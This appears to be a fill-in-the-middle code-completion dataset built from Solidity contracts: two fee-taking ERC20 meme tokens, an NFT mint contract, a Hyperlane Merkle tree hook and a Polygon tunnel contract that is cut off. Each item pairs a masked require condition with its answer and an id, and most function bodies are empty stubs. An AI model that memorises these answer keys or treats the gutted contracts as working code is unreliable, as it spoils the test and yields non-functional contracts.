require(from != address(0) && to != address(0), "Cannot transfer from/to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
bool isSelling = automatedMarketMakerPairs[to];
bool isBuying = automatedMarketMakerPairs[from];
// checking transfert conditions
if (from != owner() && to != owner() && to != address(0xdead) && !swapping) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_accountTransferTimestamp[tx.origin] < block.number, "Only one purchase per block allowed.");
_accountTransferTimestamp[tx.origin] = block.number + blockDelay;
}
if (isBuying && !_isExcludedMaxTransactionAmount[to]) { // buy case
require(amount <= maxTx, "Buy transfer amount exceeds the maxTx");
require(amount + balanceOf(to) <= maxWallet, "Buy transfer amount exceeds maxWalletAmount");
} else if (isSelling && !_isExcludedMaxTransactionAmount[from]) { // sell case
require(amount <= maxTx, "Sell transfer amount exceeds the maxTx");
} else if (!_isExcludedMaxTransactionAmount[to]) { // classic transfert case
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
bool canSwap = balanceOf(address(this)) >= canSwapTokens;
if (canSwap && !swapping && !isBuying && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
retrieveSwap();
swapping = false;
}
uint256 fees = 0;
uint256 tokensForBurn = 0;
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
(fees, tokensForBurn) = dividendSplitter.splitDividend(isSelling, isBuying, amount);
if (fees > 0) {
super._transfer(from, address(this), fees);
if (tokensForBurn > 0) {
_burn(address(this), tokensForBurn);
supply = totalSupply();
updateLimits();
tokensForBurn = 0;
}
amount -= fees;
}
}
super._transfer(from, to, amount);
}
function swapTokensToWETH(uint256 tokenAmount) private {
}
function retrieveSwap() private {
}
receive() external payable {}
}
| tradingActive||_isExcludedFromFees[from]||_isExcludedFromFees[to],"Trading is not active" | 489,853 | tradingActive||_isExcludedFromFees[from]||_isExcludedFromFees[to] |
"Only one purchase per block allowed." | // SPDX-License-Identifier: AGPL-3.0-or-later
/*
🔥 Telegram: https://twitter.com/ElonCZ_eth
🐦 Twitter: https://t.me/ElonCZ_ETH
🌐 Website: https://www.eloncz.xyz/
*/
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IDividendSplitter.sol";
contract ElonCZ is ERC20, Ownable {
uint256 public supply;
uint256 public canSwapTokens;
// % of the supply
uint256 public maxWalletPercent = 5;
uint256 public maxTxSupply = 5;
uint256 public maxWallet;
uint256 public maxTx;
// allow to exclude address from fees or/and max txs
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping(address => bool) public automatedMarketMakerPairs;
IDividendSplitter private dividendSplitter;
bool public tradingActive = false; // toggle trading
uint256 public blockDelay = 5;
mapping(address => uint256) private _accountTransferTimestamp;
bool private swapping;
address public marketingWallet;
constructor(address _uniswapV2RouterAddress, address _dividendSplitterAddress) ERC20("ElonCZ", "ECZ") {
}
/* ---- Setters ---- */
function enableTrading() external onlyOwner {
}
function updateLimitsPercent(uint256 _maxTx, uint256 _maxWallet) external onlyOwner {
}
function updateMarketingWallet(address _new) external onlyOwner {
}
function excludeFromMaxTx(address _account, bool _status) public onlyOwner {
}
function excludeFromFees(address _account, bool _status) public onlyOwner {
}
function updateBlockDelay(uint256 _new) external onlyOwner {
}
/* ---- View ---- */
function isExcludedFromFees(address account) public view returns (bool) {
}
/* ---- Brain ---- */
function updateLimits() private {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(tradingActive || _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active");
require(from != address(0) && to != address(0), "Cannot transfer from/to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
bool isSelling = automatedMarketMakerPairs[to];
bool isBuying = automatedMarketMakerPairs[from];
// checking transfert conditions
if (from != owner() && to != owner() && to != address(0xdead) && !swapping) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_accountTransferTimestamp[tx.origin] = block.number + blockDelay;
}
if (isBuying && !_isExcludedMaxTransactionAmount[to]) { // buy case
require(amount <= maxTx, "Buy transfer amount exceeds the maxTx");
require(amount + balanceOf(to) <= maxWallet, "Buy transfer amount exceeds maxWalletAmount");
} else if (isSelling && !_isExcludedMaxTransactionAmount[from]) { // sell case
require(amount <= maxTx, "Sell transfer amount exceeds the maxTx");
} else if (!_isExcludedMaxTransactionAmount[to]) { // classic transfert case
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
bool canSwap = balanceOf(address(this)) >= canSwapTokens;
if (canSwap && !swapping && !isBuying && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
retrieveSwap();
swapping = false;
}
uint256 fees = 0;
uint256 tokensForBurn = 0;
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
(fees, tokensForBurn) = dividendSplitter.splitDividend(isSelling, isBuying, amount);
if (fees > 0) {
super._transfer(from, address(this), fees);
if (tokensForBurn > 0) {
_burn(address(this), tokensForBurn);
supply = totalSupply();
updateLimits();
tokensForBurn = 0;
}
amount -= fees;
}
}
super._transfer(from, to, amount);
}
function swapTokensToWETH(uint256 tokenAmount) private {
}
function retrieveSwap() private {
}
receive() external payable {}
}
| _accountTransferTimestamp[tx.origin]<block.number,"Only one purchase per block allowed." | 489,853 | _accountTransferTimestamp[tx.origin]<block.number |
"Total buy fees cannot be greater than 25%" | /**
// https://t.me/yogagrowofficial
// https://yogagrow.org/
█*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract YogaGrow is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingAddress;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 private buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyBurnFee;
uint256 private sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForBurn;
/******************/
//exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedMarketingAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("Yoga Grow", "YGROW") {
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _burnFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyBurnFee = _burnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee;
require(<FILL_ME>)
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _burnFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
}
}
| (buyTotalFees+buyBurnFee)<=25,"Total buy fees cannot be greater than 25%" | 489,963 | (buyTotalFees+buyBurnFee)<=25 |
"Total sell fees cannot be greater than 25%" | /**
// https://t.me/yogagrowofficial
// https://yogagrow.org/
█*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract YogaGrow is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingAddress;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 private buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyBurnFee;
uint256 private sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellBurnFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForBurn;
/******************/
//exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedMarketingAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("Yoga Grow", "YGROW") {
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _burnFee) external onlyOwner {
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _burnFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellBurnFee = _burnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee;
require(<FILL_ME>)
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
}
}
| (sellTotalFees+sellBurnFee)<=25,"Total sell fees cannot be greater than 25%" | 489,963 | (sellTotalFees+sellBurnFee)<=25 |
"message not dispatching" | pragma solidity >=0.8.0;
/*@@@@@@@ @@@@@@@@@
@@@@@@@@@ @@@@@@@@@
@@@@@@@@@ @@@@@@@@@
@@@@@@@@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@ HYPERLANE @@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@
@@@@@@@@@ @@@@@@@@@
@@@@@@@@@ @@@@@@@@@
@@@@@@@@@ @@@@@@@@*/
contract MerkleTreeHook is AbstractPostDispatchHook, MailboxClient, Indexed {
using Message for bytes;
using MerkleLib for MerkleLib.Tree;
using StandardHookMetadata for bytes;
// An incremental merkle tree used to store outbound message IDs.
MerkleLib.Tree internal _tree;
event InsertedIntoTree(bytes32 messageId, uint32 index);
constructor(address _mailbox) MailboxClient(_mailbox) {}
// count cannot exceed 2**TREE_DEPTH, see MerkleLib.sol
function count() public view returns (uint32) {
}
function root() public view returns (bytes32) {
}
function tree() public view returns (MerkleLib.Tree memory) {
}
function latestCheckpoint() external view returns (bytes32, uint32) {
}
// ============ External Functions ============
/// @inheritdoc IPostDispatchHook
function hookType() external pure override returns (uint8) {
}
// ============ Internal Functions ============
/// @inheritdoc AbstractPostDispatchHook
function _postDispatch(
bytes calldata,
/*metadata*/
bytes calldata message
) internal override {
require(msg.value == 0, "MerkleTreeHook: no value expected");
// ensure messages which were not dispatched are not inserted into the tree
bytes32 id = message.id();
require(<FILL_ME>)
uint32 index = count();
_tree.insert(id);
emit InsertedIntoTree(id, index);
}
/// @inheritdoc AbstractPostDispatchHook
function _quoteDispatch(
bytes calldata,
/*metadata*/
bytes calldata /*message*/
) internal pure override returns (uint256) {
}
}
| _isLatestDispatched(id),"message not dispatching" | 490,033 | _isLatestDispatched(id) |
"Jelly jelly jelly jelly!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract LilJellys is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public jellyMax = 7000;
uint256 maxPerTransaction = 8;
uint256 cost = 0.003 ether;
string public jellyUrl;
string public uriSuffix = '.json';
string public hiddenJellyUrl;
bool public pauseJelly = true;
bool public revealed = true;
constructor() ERC721A("Lil Jellys", "LILJELLY") {
}
/**
@dev Mint a Lil Jelly!
* 1 free per wallet
*/
function mintJellyJelly(uint256 _mintAmount) public payable nonReentrant {
require(<FILL_ME>)
require(_mintAmount < maxPerTransaction, "Max per transaction");
uint256 numberMinted = _numberMinted(msg.sender);
if (numberMinted == 0) {
require(msg.value >= (_mintAmount - 1) * cost, "Insufficient funds!");
} else {
require(msg.value >= _mintAmount * cost, "Insufficient funds!");
}
require(totalSupply() + _mintAmount <= jellyMax, "Max supply exceeded");
_safeMint(_msgSender(), _mintAmount);
}
/**
@dev Starting token Id
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
@dev Gets the token metadata
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/**
@dev Sets the mintJellyJelly price
*/
function setCost(uint256 price) public onlyOwner {
}
/**
@dev Set revealed
*/
function setRevealed(bool _state) public onlyOwner {
}
/**
@dev Unrevealed metadata url
*/
function sethiddenJellyUrl(string memory _hiddenJellyUrl) public onlyOwner {
}
/**
@dev Set max supply for collection
*/
function setMaxSupply(uint256 _max) public onlyOwner {
}
/**
@dev Set the uri suffix
*/
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
/**
@dev Set the uri suffix (i.e .json)
*/
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/**
@dev Set sale is active (pauseJelly / unstopped)
*/
function setPaused(bool _state) public onlyOwner {
}
/**
@dev Withdraw function
*/
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
@dev OpenSea
*/
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| !pauseJelly,"Jelly jelly jelly jelly!" | 490,099 | !pauseJelly |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract LilJellys is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public jellyMax = 7000;
uint256 maxPerTransaction = 8;
uint256 cost = 0.003 ether;
string public jellyUrl;
string public uriSuffix = '.json';
string public hiddenJellyUrl;
bool public pauseJelly = true;
bool public revealed = true;
constructor() ERC721A("Lil Jellys", "LILJELLY") {
}
/**
@dev Mint a Lil Jelly!
* 1 free per wallet
*/
function mintJellyJelly(uint256 _mintAmount) public payable nonReentrant {
require(!pauseJelly, "Jelly jelly jelly jelly!");
require(_mintAmount < maxPerTransaction, "Max per transaction");
uint256 numberMinted = _numberMinted(msg.sender);
if (numberMinted == 0) {
require(msg.value >= (_mintAmount - 1) * cost, "Insufficient funds!");
} else {
require(msg.value >= _mintAmount * cost, "Insufficient funds!");
}
require(<FILL_ME>)
_safeMint(_msgSender(), _mintAmount);
}
/**
@dev Starting token Id
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
@dev Gets the token metadata
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
/**
@dev Sets the mintJellyJelly price
*/
function setCost(uint256 price) public onlyOwner {
}
/**
@dev Set revealed
*/
function setRevealed(bool _state) public onlyOwner {
}
/**
@dev Unrevealed metadata url
*/
function sethiddenJellyUrl(string memory _hiddenJellyUrl) public onlyOwner {
}
/**
@dev Set max supply for collection
*/
function setMaxSupply(uint256 _max) public onlyOwner {
}
/**
@dev Set the uri suffix
*/
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
/**
@dev Set the uri suffix (i.e .json)
*/
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
/**
@dev Set sale is active (pauseJelly / unstopped)
*/
function setPaused(bool _state) public onlyOwner {
}
/**
@dev Withdraw function
*/
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
@dev OpenSea
*/
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| totalSupply()+_mintAmount<=jellyMax,"Max supply exceeded" | 490,099 | totalSupply()+_mintAmount<=jellyMax |
"FxRootTunnel: INVALID_RECEIPT_PROOF" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { RLPReader } from "../lib/RLPReader.sol";
import { MerklePatriciaProof } from "../lib/MerklePatriciaProof.sol";
import { Merkle } from "../lib/Merkle.sol";
import "../lib/ExitPayloadReader.sol";
interface IFxStateSender {
function sendMessageToChild(address _receiver, bytes calldata _data)
external;
}
contract ICheckpointManager {
struct HeaderBlock {
bytes32 root;
uint256 start;
uint256 end;
uint256 createdAt;
address proposer;
}
/**
* @notice mapping of checkpoint header numbers to block details
* @dev These checkpoints are submited by plasma contracts
*/
mapping(uint256 => HeaderBlock) public headerBlocks;
}
abstract contract FxBaseRootTunnel {
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
using ExitPayloadReader for bytes;
using ExitPayloadReader for ExitPayloadReader.ExitPayload;
using ExitPayloadReader for ExitPayloadReader.Log;
using ExitPayloadReader for ExitPayloadReader.LogTopics;
using ExitPayloadReader for ExitPayloadReader.Receipt;
// keccak256(MessageSent(bytes))
bytes32 public constant SEND_MESSAGE_EVENT_SIG =
0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036;
// state sender contract
IFxStateSender public fxRoot;
// root chain manager
ICheckpointManager public checkpointManager;
// child tunnel contract which receives and sends messages
address public fxChildTunnel;
// storage to avoid duplicate exits
mapping(bytes32 => bool) public processedExits;
constructor(address _checkpointManager, address _fxRoot) {
}
function setFxChildTunnel(address _fxChildTunnel) external virtual;
/**
* @notice Send bytes message to Child Tunnel
* @param message bytes message that will be sent to Child Tunnel
* some message examples -
* abi.encode(tokenId);
* abi.encode(tokenId, tokenMetadata);
* abi.encode(messageType, messageData);
*/
function _sendMessageToChild(bytes memory message) internal {
}
function _validateAndExtractMessage(bytes memory inputData)
internal
returns (bytes memory)
{
ExitPayloadReader.ExitPayload memory payload = inputData
.toExitPayload();
bytes memory branchMaskBytes = payload.getBranchMaskAsBytes();
uint256 blockNumber = payload.getBlockNumber();
